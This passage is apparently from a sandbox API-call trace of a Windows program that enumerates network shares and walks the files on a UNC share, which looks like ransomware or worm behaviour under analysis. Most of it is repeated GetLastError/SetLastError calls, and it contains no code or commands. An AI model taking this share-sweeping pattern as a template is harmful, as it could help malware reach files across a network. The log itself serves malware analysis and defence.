lpBuffer=0x2167f40, lpBufferSize=0x2defd00 | out: lpcCount=0x2defcf4, lpBuffer=0x2167f40, lpBufferSize=0x2defd00) returned 0x0 [0138.972] GetLastError () returned 0x103 [0138.972] SetLastError (dwErrCode=0x103) [0138.972] GetLastError () returned 0x103 [0138.972] SetLastError (dwErrCode=0x103) [0138.972] GetLastError () returned 0x103 [0138.972] SetLastError (dwErrCode=0x103) [0138.972] GetLastError () returned 0x103 [0138.973] SetLastError (dwErrCode=0x103) [0138.973] GetLastError () returned 0x103 [0138.973] SetLastError (dwErrCode=0x103) [0138.973] GetLastError () returned 0x103 [0138.973] SetLastError (dwErrCode=0x103) [0138.973] GetLastError () returned 0x103 [0138.973] SetLastError (dwErrCode=0x103) [0138.973] GetLastError () returned 0x103 [0138.973] SetLastError (dwErrCode=0x103) [0138.974] GetLastError () returned 0x103 [0138.974] SetLastError (dwErrCode=0x103) [0138.974] GetLastError () returned 0x103 [0138.974] SetLastError (dwErrCode=0x103) [0138.974] GetLastError () returned 0x103 [0138.974] SetLastError (dwErrCode=0x103) [0138.974] GetLastError () returned 0x103 [0138.974] SetLastError (dwErrCode=0x103) [0138.974] GetLastError () returned 0x103 [0138.974] SetLastError (dwErrCode=0x103) [0138.975] GetLastError () returned 0x103 [0138.975] SetLastError (dwErrCode=0x103) [0138.975] GetLastError () returned 0x103 [0138.975] SetLastError (dwErrCode=0x103) [0138.975] GetLastError () returned 0x103 [0138.975] SetLastError (dwErrCode=0x103) [0138.975] GetLastError () returned 0x103 [0138.975] SetLastError (dwErrCode=0x103) [0138.976] GetLastError () returned 0x103 [0138.976] SetLastError (dwErrCode=0x103) [0138.976] GetLastError () returned 0x103 [0138.976] SetLastError (dwErrCode=0x103) [0138.976] GetLastError () returned 0x103 [0138.976] SetLastError (dwErrCode=0x103) [0138.976] GetLastError () returned 0x103 [0138.976] SetLastError (dwErrCode=0x103) [0138.976] GetLastError () returned 0x103 [0139.008] SetLastError (dwErrCode=0x103) [0139.009] GetLastError () returned 0x103 [0139.009] SetLastError (dwErrCode=0x103) [0139.009] GetLastError () returned 0x103 [0139.009] SetLastError (dwErrCode=0x103) [0139.009] GetLastError () returned 0x103 [0139.009] SetLastError (dwErrCode=0x103) [0139.009] GetLastError () returned 0x103 [0139.010] SetLastError (dwErrCode=0x103) [0139.010] GetLastError () returned 0x103 [0139.010] SetLastError (dwErrCode=0x103) [0139.010] GetLastError () returned 0x103 [0139.010] SetLastError (dwErrCode=0x103) [0139.010] GetLastError () returned 0x103 [0139.010] SetLastError (dwErrCode=0x103) [0139.010] GetLastError () returned 0x103 [0139.010] SetLastError (dwErrCode=0x103) [0139.010] GetLastError () returned 0x103 [0139.010] SetLastError (dwErrCode=0x103) [0139.010] GetLastError () returned 0x103 [0139.010] SetLastError (dwErrCode=0x103) [0139.010] GetLastError () returned 0x103 [0139.010] SetLastError (dwErrCode=0x103) [0139.010] GetLastError () returned 0x103 [0139.010] SetLastError (dwErrCode=0x103) [0139.010] GetLastError () returned 0x103 [0139.011] SetLastError (dwErrCode=0x103) [0139.011] GetLastError () returned 0x103 [0139.011] SetLastError (dwErrCode=0x103) [0139.011] GetLastError () returned 0x103 [0139.011] SetLastError (dwErrCode=0x103) [0139.011] GetLastError () returned 0x103 [0139.011] SetLastError (dwErrCode=0x103) [0139.011] WNetEnumResourceW (in: hEnum=0x8955e8, lpcCount=0x2defcf4, lpBuffer=0x2167f40, lpBufferSize=0x2defd00 | out: lpcCount=0x2defcf4, lpBuffer=0x2167f40, lpBufferSize=0x2defd00) returned 0x103 [0139.011] WNetCloseEnum (hEnum=0x8955e8) returned 0x0 [0139.012] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x2167f40 | out: hHeap=0x1d0000) returned 1 [0139.014] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x216bf48 | out: hHeap=0x1d0000) returned 1 [0139.014] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x4000) returned 0x21bc420 [0139.014] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x10000) returned 0x2167f40 [0139.014] WNetOpenEnumW (in: dwScope=0x5, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x2defce4 | out: lphEnum=0x2defce4*=0x878770) returned 0x0 [0154.083] WNetEnumResourceW (in: hEnum=0x878770, lpcCount=0x2defcdc, lpBuffer=0x21bc420, lpBufferSize=0x2defce8 | out: lpcCount=0x2defcdc, lpBuffer=0x21bc420, lpBufferSize=0x2defce8) returned 0x0 [0154.083] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x4000) returned 0x2177f48 [0154.084] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x10000) returned 0x21ac418 [0154.084] WNetOpenEnumW (dwScope=0x5, dwType=0x0, dwUsage=0x0, lpNetResource=0x21bc420, lphEnum=0x2defca4) Thread: id = 126 os_tid = 0x15c [0138.993] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x38) returned 0x2167040 [0138.993] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x18) returned 0x2167080 [0138.993] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x104 [0138.993] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x224 [0138.993] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x228 [0138.993] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x10000) returned 0x217c400 [0138.993] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0xad3a08, lpParameter=0x2f7fc40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21c [0138.994] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0xad3a08, lpParameter=0x2f7fc40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x230 [0138.995] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x10000) returned 0x218c408 [0138.996] FindFirstFileW (in: lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\*" (normalized: "\\\\192.168.0.1\\documents\\*"), lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb1cfbf64, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0xb67be4c, ftLastAccessTime.dwHighDateTime=0x1d9300b, ftLastWriteTime.dwLowDateTime=0xb1cfbf64, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x871820 [0139.449] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa583c4d7, ftCreationTime.dwHighDateTime=0x1d828c6, ftLastAccessTime.dwLowDateTime=0x33112c8c, ftLastAccessTime.dwHighDateTime=0x1d8d311, ftLastWriteTime.dwLowDateTime=0xa583c4d7, ftLastWriteTime.dwHighDateTime=0x1d828c6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.449] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c38a47, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x4497fabe, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c38a47, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xd900, dwReserved0=0x0, dwReserved1=0x0, cFileName="4fcfIBg3Ryeoeu27DM.docx", cAlternateFileName="")) returned 1 [0139.449] GetLastError () returned 0x0 [0139.449] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x214) returned 0x1d4ff0 [0139.449] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x753b0000 [0139.725] GetCurrentThreadId () returned 0x15c [0139.725] SetLastError (dwErrCode=0x0) [0139.725] GetLastError () returned 0x0 [0139.725] SetLastError (dwErrCode=0x0) [0139.725] GetLastError () returned 0x0 [0139.725] SetLastError (dwErrCode=0x0) [0139.725] GetLastError () returned 0x0 [0139.726] SetLastError (dwErrCode=0x0) [0139.726] GetLastError () returned 0x0 [0139.726] SetLastError (dwErrCode=0x0) [0139.726] GetLastError () returned 0x0 [0139.726] SetLastError (dwErrCode=0x0) [0139.726] GetLastError () returned 0x0 [0139.726] SetLastError (dwErrCode=0x0) [0139.726] GetLastError () returned 0x0 [0139.726] SetLastError (dwErrCode=0x0) [0139.726] GetLastError () returned 0x0 [0139.726] SetLastError (dwErrCode=0x0) [0139.726] GetLastError () returned 0x0 [0139.726] SetLastError (dwErrCode=0x0) [0139.726] GetLastError () returned 0x0 [0139.726] SetLastError (dwErrCode=0x0) [0139.726] GetLastError () returned 0x0 [0139.726] SetLastError (dwErrCode=0x0) [0139.726] GetLastError () returned 0x0 [0139.726] SetLastError (dwErrCode=0x0) [0139.727] GetLastError () returned 0x0 [0139.727] SetLastError (dwErrCode=0x0) [0139.727] GetLastError () returned 0x0 [0139.727] SetLastError (dwErrCode=0x0) [0139.727] GetLastError () returned 0x0 [0139.727] SetLastError (dwErrCode=0x0) [0139.727] GetLastError () returned 0x0 [0139.727] SetLastError (dwErrCode=0x0) [0139.727] GetLastError () returned 0x0 [0139.727] SetLastError (dwErrCode=0x0) [0139.727] GetLastError () returned 0x0 [0139.727] SetLastError (dwErrCode=0x0) [0139.727] GetLastError () returned 0x0 [0139.727] SetLastError (dwErrCode=0x0) [0139.727] GetLastError () returned 0x0 [0139.727] SetLastError (dwErrCode=0x0) [0139.727] GetLastError () returned 0x0 [0139.727] SetLastError (dwErrCode=0x0) [0139.727] GetLastError () returned 0x0 [0139.728] SetLastError (dwErrCode=0x0) [0139.728] GetLastError () returned 0x0 [0139.728] SetLastError (dwErrCode=0x0) [0139.728] GetLastError () returned 0x0 [0139.728] SetLastError (dwErrCode=0x0) [0139.728] GetLastError () returned 0x0 [0139.728] SetLastError (dwErrCode=0x0) [0139.728] GetLastError () returned 0x0 [0139.728] SetLastError (dwErrCode=0x0) [0139.728] GetLastError () returned 0x0 [0139.728] SetLastError (dwErrCode=0x0) [0139.728] GetLastError () returned 0x0 [0139.728] SetLastError (dwErrCode=0x0) [0139.728] GetLastError () returned 0x0 [0139.728] SetLastError (dwErrCode=0x0) [0139.728] GetLastError () returned 0x0 [0139.728] SetLastError (dwErrCode=0x0) [0139.728] GetLastError () returned 0x0 [0139.728] SetLastError (dwErrCode=0x0) [0139.728] GetLastError () returned 0x0 [0139.728] SetLastError (dwErrCode=0x0) [0139.728] GetLastError () returned 0x0 [0139.729] SetLastError (dwErrCode=0x0) [0139.729] GetLastError () returned 0x0 [0139.729] SetLastError (dwErrCode=0x0) [0139.729] GetLastError () returned 0x0 [0139.729] SetLastError (dwErrCode=0x0) [0139.729] GetLastError () returned 0x0 [0139.729] SetLastError (dwErrCode=0x0) [0139.729] GetLastError () returned 0x0 [0139.729] SetLastError (dwErrCode=0x0) [0139.729] GetLastError () returned 0x0 [0139.729] SetLastError (dwErrCode=0x0) [0139.729] GetLastError () returned 0x0 [0139.729] SetLastError (dwErrCode=0x0) [0139.729] GetLastError () returned 0x0 [0139.729] SetLastError (dwErrCode=0x0) [0139.729] GetLastError () returned 0x0 [0139.729] SetLastError (dwErrCode=0x0) [0139.729] GetLastError () returned 0x0 [0139.729] SetLastError (dwErrCode=0x0) [0139.729] GetLastError () returned 0x0 [0139.729] SetLastError (dwErrCode=0x0) [0139.729] GetLastError () returned 0x0 [0139.730] SetLastError (dwErrCode=0x0) [0139.730] GetLastError () returned 0x0 [0139.730] SetLastError (dwErrCode=0x0) [0139.730] GetLastError () returned 0x0 [0139.730] SetLastError (dwErrCode=0x0) [0139.730] GetLastError () returned 0x0 [0139.730] SetLastError (dwErrCode=0x0) [0139.730] GetLastError () returned 0x0 [0139.730] SetLastError (dwErrCode=0x0) [0139.730] GetLastError () returned 0x0 [0139.730] SetLastError (dwErrCode=0x0) [0139.730] GetLastError () returned 0x0 [0139.730] SetLastError (dwErrCode=0x0) [0139.730] GetLastError () returned 0x0 [0139.730] SetLastError (dwErrCode=0x0) [0139.730] GetLastError () returned 0x0 [0139.730] SetLastError (dwErrCode=0x0) [0139.730] GetLastError () returned 0x0 [0139.730] SetLastError (dwErrCode=0x0) [0139.731] GetLastError () returned 0x0 [0139.731] SetLastError (dwErrCode=0x0) [0139.731] GetLastError () returned 0x0 [0139.731] SetLastError (dwErrCode=0x0) [0139.731] GetLastError () returned 0x0 [0139.731] SetLastError (dwErrCode=0x0) [0139.731] GetLastError () returned 0x0 [0139.731] SetLastError (dwErrCode=0x0) [0139.731] GetLastError () returned 0x0 [0139.731] SetLastError (dwErrCode=0x0) [0139.731] GetLastError () returned 0x0 [0139.731] SetLastError (dwErrCode=0x0) [0139.731] GetLastError () returned 0x0 [0139.731] SetLastError (dwErrCode=0x0) [0139.732] GetLastError () returned 0x0 [0139.732] SetLastError (dwErrCode=0x0) [0139.732] GetLastError () returned 0x0 [0139.732] SetLastError (dwErrCode=0x0) [0139.732] GetLastError () returned 0x0 [0139.732] SetLastError (dwErrCode=0x0) [0139.732] GetLastError () returned 0x0 [0139.732] SetLastError (dwErrCode=0x0) [0139.732] GetLastError () returned 0x0 [0139.732] SetLastError (dwErrCode=0x0) [0139.732] GetLastError () returned 0x0 [0139.732] SetLastError (dwErrCode=0x0) [0139.732] GetLastError () returned 0x0 [0139.732] SetLastError (dwErrCode=0x0) [0139.732] GetLastError () returned 0x0 [0139.732] SetLastError (dwErrCode=0x0) [0139.732] GetLastError () returned 0x0 [0139.732] SetLastError (dwErrCode=0x0) [0139.732] GetLastError () returned 0x0 [0139.732] SetLastError (dwErrCode=0x0) [0139.732] GetLastError () returned 0x0 [0139.732] SetLastError (dwErrCode=0x0) [0139.733] GetLastError () returned 0x0 [0139.733] SetLastError (dwErrCode=0x0) [0139.733] GetLastError () returned 0x0 [0139.733] SetLastError (dwErrCode=0x0) [0139.733] GetLastError () returned 0x0 [0139.733] SetLastError (dwErrCode=0x0) [0139.733] GetLastError () returned 0x0 [0139.733] SetLastError (dwErrCode=0x0) [0139.733] GetLastError () returned 0x0 [0139.733] SetLastError (dwErrCode=0x0) [0139.733] GetLastError () returned 0x0 [0139.733] SetLastError (dwErrCode=0x0) [0139.733] GetLastError () returned 0x0 [0139.733] SetLastError (dwErrCode=0x0) [0139.733] GetLastError () returned 0x0 [0139.733] SetLastError (dwErrCode=0x0) [0139.733] GetLastError () returned 0x0 [0139.733] SetLastError (dwErrCode=0x0) [0139.733] GetLastError () returned 0x0 [0139.734] SetLastError (dwErrCode=0x0) [0139.734] GetLastError () returned 0x0 [0139.734] SetLastError (dwErrCode=0x0) [0139.734] GetLastError () returned 0x0 [0139.734] SetLastError (dwErrCode=0x0) [0139.734] GetLastError () returned 0x0 [0139.734] SetLastError (dwErrCode=0x0) [0139.734] GetLastError () returned 0x0 [0139.734] SetLastError (dwErrCode=0x0) [0139.734] GetLastError () returned 0x0 [0139.734] SetLastError (dwErrCode=0x0) [0139.734] GetLastError () returned 0x0 [0139.734] SetLastError (dwErrCode=0x0) [0139.734] GetLastError () returned 0x0 [0139.734] SetLastError (dwErrCode=0x0) [0139.734] GetLastError () returned 0x0 [0139.734] SetLastError (dwErrCode=0x0) [0139.734] GetLastError () returned 0x0 [0139.735] SetLastError (dwErrCode=0x0) [0139.735] GetLastError () returned 0x0 [0139.735] SetLastError (dwErrCode=0x0) [0139.735] GetLastError () returned 0x0 [0139.735] SetLastError (dwErrCode=0x0) [0139.735] GetLastError () returned 0x0 [0139.735] SetLastError (dwErrCode=0x0) [0139.735] GetLastError () returned 0x0 [0139.735] SetLastError (dwErrCode=0x0) [0139.735] GetLastError () returned 0x0 [0139.735] SetLastError (dwErrCode=0x0) [0139.735] GetLastError () returned 0x0 [0139.735] SetLastError (dwErrCode=0x0) [0139.735] GetLastError () returned 0x0 [0139.735] SetLastError (dwErrCode=0x0) [0139.735] GetLastError () returned 0x0 [0139.735] SetLastError (dwErrCode=0x0) [0139.735] GetLastError () returned 0x0 [0139.735] SetLastError (dwErrCode=0x0) [0139.735] GetLastError () returned 0x0 [0139.735] SetLastError (dwErrCode=0x0) [0139.735] GetLastError () returned 0x0 [0139.736] SetLastError (dwErrCode=0x0) [0139.736] GetLastError () returned 0x0 [0139.736] SetLastError (dwErrCode=0x0) [0139.736] GetLastError () returned 0x0 [0139.736] SetLastError (dwErrCode=0x0) [0139.736] GetLastError () returned 0x0 [0139.736] SetLastError (dwErrCode=0x0) [0139.736] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c6978f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449d7901, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c6978f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xf197, dwReserved0=0x0, dwReserved1=0x0, cFileName="LgQIok5RNh.mp4", cAlternateFileName="")) returned 1 [0139.736] GetLastError () returned 0x0 [0139.736] SetLastError (dwErrCode=0x0) [0139.736] GetLastError () returned 0x0 [0139.736] SetLastError (dwErrCode=0x0) [0139.736] GetLastError () returned 0x0 [0139.736] SetLastError (dwErrCode=0x0) [0139.736] GetLastError () returned 0x0 [0139.736] SetLastError (dwErrCode=0x0) [0139.736] GetLastError () returned 0x0 [0139.736] SetLastError (dwErrCode=0x0) [0139.736] GetLastError () returned 0x0 [0139.736] SetLastError (dwErrCode=0x0) [0139.736] GetLastError () returned 0x0 [0139.736] SetLastError (dwErrCode=0x0) [0139.737] GetLastError () returned 0x0 [0139.737] SetLastError (dwErrCode=0x0) [0139.737] GetLastError () returned 0x0 [0139.737] SetLastError (dwErrCode=0x0) [0139.737] GetLastError () returned 0x0 [0139.737] SetLastError (dwErrCode=0x0) [0139.737] GetLastError () returned 0x0 [0139.737] SetLastError (dwErrCode=0x0) [0139.737] GetLastError () returned 0x0 [0139.737] SetLastError (dwErrCode=0x0) [0139.737] GetLastError () returned 0x0 [0139.737] SetLastError (dwErrCode=0x0) [0139.737] GetLastError () returned 0x0 [0139.737] SetLastError (dwErrCode=0x0) [0139.737] GetLastError () returned 0x0 [0139.737] SetLastError (dwErrCode=0x0) [0139.737] GetLastError () returned 0x0 [0139.737] SetLastError (dwErrCode=0x0) [0139.737] GetLastError () returned 0x0 [0139.738] SetLastError (dwErrCode=0x0) [0139.738] GetLastError () returned 0x0 [0139.738] SetLastError (dwErrCode=0x0) [0139.738] GetLastError () returned 0x0 [0139.738] SetLastError (dwErrCode=0x0) [0139.738] GetLastError () returned 0x0 [0139.738] SetLastError (dwErrCode=0x0) [0139.738] GetLastError () returned 0x0 [0139.738] SetLastError (dwErrCode=0x0) [0139.738] GetLastError () returned 0x0 [0139.738] SetLastError (dwErrCode=0x0) [0139.738] GetLastError () returned 0x0 [0139.738] SetLastError (dwErrCode=0x0) [0139.738] GetLastError () returned 0x0 [0139.738] SetLastError (dwErrCode=0x0) [0139.738] GetLastError () returned 0x0 [0139.738] SetLastError (dwErrCode=0x0) [0139.738] GetLastError () returned 0x0 [0139.738] SetLastError (dwErrCode=0x0) [0139.739] GetLastError () returned 0x0 [0139.739] SetLastError (dwErrCode=0x0) [0139.739] GetLastError () returned 0x0 [0139.739] SetLastError (dwErrCode=0x0) [0139.739] GetLastError () returned 0x0 [0139.739] SetLastError (dwErrCode=0x0) [0139.739] GetLastError () returned 0x0 [0139.739] SetLastError (dwErrCode=0x0) [0139.739] GetLastError () returned 0x0 [0139.739] SetLastError (dwErrCode=0x0) [0139.739] GetLastError () returned 0x0 [0139.739] SetLastError (dwErrCode=0x0) [0139.739] GetLastError () returned 0x0 [0139.739] SetLastError (dwErrCode=0x0) [0139.739] GetLastError () returned 0x0 [0139.739] SetLastError (dwErrCode=0x0) [0139.739] GetLastError () returned 0x0 [0139.739] SetLastError (dwErrCode=0x0) [0139.739] GetLastError () returned 0x0 [0139.739] SetLastError (dwErrCode=0x0) [0139.740] GetLastError () returned 0x0 [0139.740] SetLastError (dwErrCode=0x0) [0139.740] GetLastError () returned 0x0 [0139.740] SetLastError (dwErrCode=0x0) [0139.740] GetLastError () returned 0x0 [0139.740] SetLastError (dwErrCode=0x0) [0139.740] GetLastError () returned 0x0 [0139.740] SetLastError (dwErrCode=0x0) [0139.740] GetLastError () returned 0x0 [0139.740] SetLastError (dwErrCode=0x0) [0139.740] GetLastError () returned 0x0 [0139.740] SetLastError (dwErrCode=0x0) [0139.740] GetLastError () returned 0x0 [0139.740] SetLastError (dwErrCode=0x0) [0139.740] GetLastError () returned 0x0 [0139.740] SetLastError (dwErrCode=0x0) [0139.740] GetLastError () returned 0x0 [0139.740] SetLastError (dwErrCode=0x0) [0139.740] GetLastError () returned 0x0 [0139.741] SetLastError (dwErrCode=0x0) [0139.741] GetLastError () returned 0x0 [0139.741] SetLastError (dwErrCode=0x0) [0139.741] GetLastError () returned 0x0 [0139.741] SetLastError (dwErrCode=0x0) [0139.741] GetLastError () returned 0x0 [0139.741] SetLastError (dwErrCode=0x0) [0139.741] GetLastError () returned 0x0 [0139.741] SetLastError (dwErrCode=0x0) [0139.741] GetLastError () returned 0x0 [0139.742] SetLastError (dwErrCode=0x0) [0139.742] GetLastError () returned 0x0 [0139.742] SetLastError (dwErrCode=0x0) [0139.742] GetLastError () returned 0x0 [0139.742] SetLastError (dwErrCode=0x0) [0139.742] GetLastError () returned 0x0 [0139.742] SetLastError (dwErrCode=0x0) [0139.742] GetLastError () returned 0x0 [0139.742] SetLastError (dwErrCode=0x0) [0139.742] GetLastError () returned 0x0 [0139.742] SetLastError (dwErrCode=0x0) [0139.742] GetLastError () returned 0x0 [0139.742] SetLastError (dwErrCode=0x0) [0139.742] GetLastError () returned 0x0 [0139.742] SetLastError (dwErrCode=0x0) [0139.742] GetLastError () returned 0x0 [0139.742] SetLastError (dwErrCode=0x0) [0139.742] GetLastError () returned 0x0 [0139.742] SetLastError (dwErrCode=0x0) [0139.742] GetLastError () returned 0x0 [0139.743] SetLastError (dwErrCode=0x0) [0139.743] GetLastError () returned 0x0 [0139.743] SetLastError (dwErrCode=0x0) [0139.743] GetLastError () returned 0x0 [0139.743] SetLastError (dwErrCode=0x0) [0139.743] GetLastError () returned 0x0 [0139.743] SetLastError (dwErrCode=0x0) [0139.743] GetLastError () returned 0x0 [0139.743] SetLastError (dwErrCode=0x0) [0139.743] GetLastError () returned 0x0 [0139.743] SetLastError (dwErrCode=0x0) [0139.743] GetLastError () returned 0x0 [0139.743] SetLastError (dwErrCode=0x0) [0139.743] GetLastError () returned 0x0 [0139.743] SetLastError (dwErrCode=0x0) [0139.743] GetLastError () returned 0x0 [0139.743] SetLastError (dwErrCode=0x0) [0139.743] GetLastError () returned 0x0 [0139.743] SetLastError (dwErrCode=0x0) [0139.760] GetLastError () returned 0x0 [0139.760] SetLastError (dwErrCode=0x0) [0139.760] GetLastError () returned 0x0 [0139.761] SetLastError (dwErrCode=0x0) [0139.761] GetLastError () returned 0x0 [0139.761] SetLastError (dwErrCode=0x0) [0139.761] GetLastError () returned 0x0 [0139.761] SetLastError (dwErrCode=0x0) [0139.761] GetLastError () returned 0x0 [0139.761] SetLastError (dwErrCode=0x0) [0139.761] GetLastError () returned 0x0 [0139.761] SetLastError (dwErrCode=0x0) [0139.761] GetLastError () returned 0x0 [0139.761] SetLastError (dwErrCode=0x0) [0139.761] GetLastError () returned 0x0 [0139.762] SetLastError (dwErrCode=0x0) [0139.762] GetLastError () returned 0x0 [0139.762] SetLastError (dwErrCode=0x0) [0139.762] GetLastError () returned 0x0 [0139.762] SetLastError (dwErrCode=0x0) [0139.762] GetLastError () returned 0x0 [0139.762] SetLastError (dwErrCode=0x0) [0139.762] GetLastError () returned 0x0 [0139.762] SetLastError (dwErrCode=0x0) [0139.762] GetLastError () returned 0x0 [0139.762] SetLastError (dwErrCode=0x0) [0139.762] GetLastError () returned 0x0 [0139.762] SetLastError (dwErrCode=0x0) [0139.762] GetLastError () returned 0x0 [0139.762] SetLastError (dwErrCode=0x0) [0139.762] GetLastError () returned 0x0 [0139.762] SetLastError (dwErrCode=0x0) [0139.762] GetLastError () returned 0x0 [0139.762] SetLastError (dwErrCode=0x0) [0139.762] GetLastError () returned 0x0 [0139.762] SetLastError (dwErrCode=0x0) [0139.762] GetLastError () returned 0x0 [0139.763] SetLastError (dwErrCode=0x0) [0139.763] GetLastError () returned 0x0 [0139.763] SetLastError (dwErrCode=0x0) [0139.763] GetLastError () returned 0x0 [0139.763] SetLastError (dwErrCode=0x0) [0139.763] GetLastError () returned 0x0 [0139.763] SetLastError (dwErrCode=0x0) [0139.763] GetLastError () returned 0x0 [0139.763] SetLastError (dwErrCode=0x0) [0139.763] GetLastError () returned 0x0 [0139.763] SetLastError (dwErrCode=0x0) [0139.763] GetLastError () returned 0x0 [0139.763] SetLastError (dwErrCode=0x0) [0139.763] GetLastError () returned 0x0 [0139.763] SetLastError (dwErrCode=0x0) [0139.763] GetLastError () returned 0x0 [0139.763] SetLastError (dwErrCode=0x0) [0139.763] GetLastError () returned 0x0 [0139.763] SetLastError (dwErrCode=0x0) [0139.763] GetLastError () returned 0x0 [0139.763] SetLastError (dwErrCode=0x0) [0139.764] GetLastError () returned 0x0 [0139.764] SetLastError (dwErrCode=0x0) [0139.764] GetLastError () returned 0x0 [0139.764] SetLastError (dwErrCode=0x0) [0139.764] GetLastError () returned 0x0 [0139.764] SetLastError (dwErrCode=0x0) [0139.764] GetLastError () returned 0x0 [0139.764] SetLastError (dwErrCode=0x0) [0139.764] GetLastError () returned 0x0 [0139.764] SetLastError (dwErrCode=0x0) [0139.764] GetLastError () returned 0x0 [0139.764] SetLastError (dwErrCode=0x0) [0139.764] GetLastError () returned 0x0 [0139.764] SetLastError (dwErrCode=0x0) [0139.764] GetLastError () returned 0x0 [0139.764] SetLastError (dwErrCode=0x0) [0139.764] GetLastError () returned 0x0 [0139.764] SetLastError (dwErrCode=0x0) [0139.764] GetLastError () returned 0x0 [0139.764] SetLastError (dwErrCode=0x0) [0139.764] GetLastError () returned 0x0 [0139.764] SetLastError (dwErrCode=0x0) [0139.764] GetLastError () returned 0x0 [0139.765] SetLastError (dwErrCode=0x0) [0139.765] GetLastError () returned 0x0 [0139.765] SetLastError (dwErrCode=0x0) [0139.765] GetLastError () returned 0x0 [0139.765] SetLastError (dwErrCode=0x0) [0139.765] GetLastError () returned 0x0 [0139.765] SetLastError (dwErrCode=0x0) [0139.765] GetLastError () returned 0x0 [0139.765] SetLastError (dwErrCode=0x0) [0139.765] GetLastError () returned 0x0 [0139.765] SetLastError (dwErrCode=0x0) [0139.765] GetLastError () returned 0x0 [0139.765] SetLastError (dwErrCode=0x0) [0139.765] GetLastError () returned 0x0 [0139.765] SetLastError (dwErrCode=0x0) [0139.765] GetLastError () returned 0x0 [0139.765] SetLastError (dwErrCode=0x0) [0139.765] GetLastError () returned 0x0 [0139.765] SetLastError (dwErrCode=0x0) [0139.765] GetLastError () returned 0x0 [0139.766] SetLastError (dwErrCode=0x0) [0139.766] GetLastError () returned 0x0 [0139.766] SetLastError (dwErrCode=0x0) [0139.766] GetLastError () returned 0x0 [0139.766] SetLastError (dwErrCode=0x0) [0139.766] GetLastError () returned 0x0 [0139.766] SetLastError (dwErrCode=0x0) [0139.766] GetLastError () returned 0x0 [0139.766] SetLastError (dwErrCode=0x0) [0139.766] GetLastError () returned 0x0 [0139.766] SetLastError (dwErrCode=0x0) [0139.766] GetLastError () returned 0x0 [0139.766] SetLastError (dwErrCode=0x0) [0139.766] GetLastError () returned 0x0 [0139.766] SetLastError (dwErrCode=0x0) [0139.766] GetLastError () returned 0x0 [0139.766] SetLastError (dwErrCode=0x0) [0139.766] GetLastError () returned 0x0 [0139.766] SetLastError (dwErrCode=0x0) [0139.766] GetLastError () returned 0x0 [0139.767] SetLastError (dwErrCode=0x0) [0139.767] GetLastError () returned 0x0 [0139.767] SetLastError (dwErrCode=0x0) [0139.767] GetLastError () returned 0x0 [0139.767] SetLastError (dwErrCode=0x0) [0139.767] GetLastError () returned 0x0 [0139.767] SetLastError (dwErrCode=0x0) [0139.767] GetLastError () returned 0x0 [0139.767] SetLastError (dwErrCode=0x0) [0139.767] GetLastError () returned 0x0 [0139.767] SetLastError (dwErrCode=0x0) [0139.767] GetLastError () returned 0x0 [0139.767] SetLastError (dwErrCode=0x0) [0139.767] GetLastError () returned 0x0 [0139.767] SetLastError (dwErrCode=0x0) [0139.767] GetLastError () returned 0x0 [0139.767] SetLastError (dwErrCode=0x0) [0139.767] GetLastError () returned 0x0 [0139.768] SetLastError (dwErrCode=0x0) [0139.768] GetLastError () returned 0x0 [0139.768] SetLastError (dwErrCode=0x0) [0139.768] GetLastError () returned 0x0 [0139.768] SetLastError (dwErrCode=0x0) [0139.768] GetLastError () returned 0x0 [0139.768] SetLastError 